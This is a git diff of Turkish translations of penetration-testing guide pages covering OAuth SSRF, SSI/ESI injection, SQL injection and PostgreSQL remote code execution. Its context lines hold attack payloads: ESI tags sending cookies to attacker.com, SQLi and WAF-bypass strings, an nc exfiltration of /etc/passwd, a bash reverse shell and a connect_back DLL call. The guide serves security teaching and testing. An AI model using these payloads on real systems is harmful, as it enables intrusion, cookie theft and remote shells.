- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar ve SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
|
||||
- Kayıt süreci, birkaç şekilde sunucuları SSRF'ye maruz bırakabilir:
|
||||
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
|
||||
@ -207,7 +208,7 @@ OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin
|
||||
|
||||
**Kötüye Kullanım Stratejisi:**
|
||||
|
||||
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'lerle yeni bir istemci kaydederek tetiklenebilir.
|
||||
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'ler ile yeni bir istemci kaydederek tetiklenebilir.
|
||||
- `request_uris` aracılığıyla doğrudan kötüye kullanım, beyaz liste kontrolleri ile azaltılabilirken, önceden kaydedilmiş, saldırgan kontrolündeki bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
|
||||
|
||||
## OAuth sağlayıcıları Yarış Koşulları
|
||||
@ -219,5 +220,4 @@ Test ettiğiniz platform bir OAuth sağlayıcısıysa [**olası Yarış Koşulla
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,7 @@ Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeri ile değiştiril
|
||||
|
||||
`Salı, 15-Oca-2013 19:28:54 EST`
|
||||
|
||||
SSI kullanma kararı, sayfanın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın büyük bir kısmı sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
|
||||
SSI kullanma kararı, sayfanın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
|
||||
|
||||
Web uygulaması `.shtml`, `.shtm` veya `.stm` uzantısına sahip dosyalar kullanıyorsa, SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.
|
||||
|
||||
@ -100,11 +100,11 @@ hell<!--esi-->o
|
||||
| **Yazılım** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Evet | Evet | Evet | Evet | Hayır |
|
||||
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
|
||||
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
|
||||
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
|
||||
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
|
||||
| Akamai ESI Test Server (ETS) | Evet | Evet | Evet | Hayır | Hayır |
|
||||
| NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
|
||||
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
|
||||
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
- XSS ile HTTP_ONLY çerezini çalmak için yanıt içinde yansıtmak:
|
||||
- XSS ile HTTP_ONLY çerezini yanıt içinde yansıtarak çalmak:
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
@ -160,7 +160,7 @@ Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
</esi:include>
|
||||
```
|
||||
- Başlık ekleyin (XSS ile bir yanıtta "Content-Type: text/json" atlatmak için yararlıdır)
|
||||
- Yanıtı "Content-Type: text/json" ile atlatmak için başlık ekleyin (XSS ile).
|
||||
```bash
|
||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||
|
||||
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Brute-Force Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## SQL enjeksiyonu nedir?
|
||||
|
||||
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, erişmemeleri gereken verileri, diğer kullanıcıların bilgilerini veya uygulamanın erişebileceği herhangi bir veriyi içerebilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
|
||||
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere, erişmemeleri gereken verilere erişim sağlar. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
|
||||
|
||||
## Giriş noktası tespiti
|
||||
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan nasıl yapacağınızı anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -53,7 +53,7 @@ HQL does not support comments
|
||||
```
|
||||
### Mantıksal işlemlerle doğrulama
|
||||
|
||||
SQL enjeksiyon zafiyetini doğrulamak için güvenilir bir yöntem, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon zafiyetini gösterir.
|
||||
Bir SQL enjeksiyon açığını doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon açığına işaret eder.
|
||||
|
||||
Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL enjeksiyonunu gösterir.
|
||||
|
||||
@ -132,13 +132,15 @@ Ayrıca, sorgunun çıktısına erişiminiz varsa, **veritabanının sürümün
|
||||
|
||||
### PortSwigger ile Tanımlama
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Union Tabanlı İstismar
|
||||
|
||||
### Sütun sayısını tespit etme
|
||||
|
||||
Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yolu budur.\
|
||||
Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yoludur.\
|
||||
Öncelikle, **ilk isteğin** döndürdüğü **sütunların sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\
|
||||
Bu amaçla genellikle iki yöntem kullanılır:
|
||||
|
||||
@ -187,13 +189,13 @@ _Bu verileri keşfetmenin her farklı veritabanında farklı bir yolu vardır, a
|
||||
|
||||
## Gizli Union Tabanlı Sömürü
|
||||
|
||||
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.
|
||||
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun belirlenmesi gerekir.
|
||||
|
||||
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir.
|
||||
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'in belgelerine başvurulması önerilir.
|
||||
|
||||
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
|
||||
Sorgu çıkarıldıktan sonra, yükünüzü orijinal sorguyu güvenli bir şekilde kapatacak şekilde uyarlamak gereklidir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
|
||||
|
||||
Daha kapsamlı bilgiler için [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) makalesine başvurun.
|
||||
Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun.
|
||||
|
||||
## Hata Tabanlı Sömürü
|
||||
|
||||
@ -211,19 +213,19 @@ Bu durumda, veritabanını karakter karakter dökmek için bu davranışı köt
|
||||
```
|
||||
## Hata Kör SQLi İstismarı
|
||||
|
||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Zaman Tabanlı SQLi İstismar Etme
|
||||
|
||||
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](./#confirming-with-timing) kullanırken gördük.
|
||||
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresini uzatmasını** sağlayabilirsiniz. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](./#confirming-with-timing) kullanırken gördük.
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Yığın sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
|
||||
Yığın sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada bir DNS sorgusunu, koşullu hatayı veya zaman gecikmesini tetiklemek için ikinci bir sorgu kullanabilirsiniz.
|
||||
|
||||
**Oracle** **yığın sorguları** desteklemez. **MySQL, Microsoft** ve **PostgreSQL** destekler: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -241,7 +243,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
|
||||
Bir SQLi zafiyetini sömürmek için [SQLMap Cheatsheet](sqlmap/) kontrol edin ve [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanın.
|
||||
|
||||
## Teknolojiye özel bilgiler
|
||||
## Teknolojiye özgü bilgiler
|
||||
|
||||
SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla hile bulabilirsiniz:
|
||||
|
||||
@ -251,11 +253,11 @@ SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu ki
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
|
||||
Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hileyi** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) adresinde bulabilirsiniz.
|
||||
Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hileyi** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) adresinde bulacaksınız.
|
||||
|
||||
## Kimlik Doğrulama Atlatma
|
||||
## Kimlik doğrulama atlatma
|
||||
|
||||
Giriş işlevselliğini atlatmayı denemek için liste:
|
||||
Giriş işlevini atlatmayı denemek için liste:
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
@ -265,7 +267,7 @@ Giriş işlevselliğini atlatmayı denemek için liste:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir güvenlik açığını sergilemektedir ve sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilirler.
|
||||
Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir zayıflığı sergilemektedir ve sistemi SQL enjeksiyonuna karşı hassas hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -298,7 +300,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Polyglot injection (multicontext)
|
||||
### Polyglot injection (çok bağlamlı)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -306,7 +308,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Mevcut nesne/kullanıcının şifresini değiştirme
|
||||
|
||||
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya çalışmalısınız** (kullanıcılar için muhtemelen **admin**):
|
||||
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya** çalışmalısınız (kullanıcılar için muhtemelen **admin**):
|
||||
|
||||
- Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler)
|
||||
- Adı **admin=** olan bir kullanıcı oluşturun
|
||||
@ -357,7 +359,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### Ondalık veya onaltılık kullanma
|
||||
|
||||
Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Hiçbir şeyi yorumlamanıza gerek olmadığını belirtmek önemlidir.
|
||||
Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Hiçbir şey yorumlamanıza gerek olmadığını belirtmek önemlidir.
|
||||
|
||||
**hex2dec** ve **substr** kullanarak:
|
||||
```sql
|
||||
@ -443,9 +445,9 @@ Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullan
|
||||
```
|
||||
### Sütun İsimleri Kısıtlamasını Aşma
|
||||
|
||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu fark edin**; bu durumda sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
|
||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek mümkündür**; aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
|
||||
Bir tablonun **üçüncü sütununa adını kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu kullanarak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -459,16 +461,20 @@ Bu hile [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://se
|
||||
|
||||
### WAF atlatma öneri araçları
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Diğer Kılavuzlar
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Brute-Force Tespit Listesi
|
||||
## Kaba Kuvvet Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@ PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir
|
||||
|
||||
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
|
||||
|
||||
Ayrıca, **eğer nasıl yapılacağını bilmiyorsanız** [**PostgreSQL'i kötüye kullanarak kurbanın dosyalarını yüklemeyi okumalısınız.**](big-binary-files-upload-postgresql.md)
|
||||
Ayrıca, **eğer PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
**Daha fazla bilgi için kontrol edin: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit modülü](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -26,9 +26,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Base64 ile ikili dosya yazma</summary>
|
||||
<summary>Base64'ten ikili dosya yazma</summary>
|
||||
|
||||
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda faydalı olacaktır:
|
||||
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Bu hata [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
|
||||
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu modül kaynak dosyalarından birine, fmgr.h başlığını ekledikten sonra şunu yazın:
|
||||
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı bir ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -90,7 +90,7 @@ PostgreSQL sürümünü almak için:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Uyumluluk için, ana sürümlerin uyumlu olması gereklidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
|
||||
Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.
|
||||
|
||||
O sürümü sisteminize kurmak için:
|
||||
```bash
|
||||
@ -121,11 +121,13 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta bunu **otomatikleştirebilirsiniz** (eğer PostgreSQL erişiminiz varsa) ile:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### Windows'ta RCE
|
||||
|
||||
Aşağıdaki DLL, **ikili dosyanın adını** ve çalıştırmak istediğiniz **kez sayısını** girdi olarak alır ve bunu çalıştırır:
|
||||
Aşağıdaki DLL, **ikili dosyanın adını** ve **kaç kez** çalıştırmak istediğinizi girdi olarak alır ve çalıştırır:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
@ -260,9 +262,9 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
|
||||
**En son sürümlerde** PostgreSQL'de, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**, örneğin Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib`. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı **güvenli** hale getirilmiştir.
|
||||
|
||||
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ının "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazması** mümkündür. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
|
||||
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ı, "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazabilir**. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.
|
||||
|
||||
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütmesine olanak tanır.
|
||||
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana sistemde rastgele kod çalıştırma yeteneği sağlar.
|
||||
|
||||
#### Saldırı akışı
|
||||
|
||||
@ -277,7 +279,7 @@ Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, b
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Not edin ki `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
|
||||
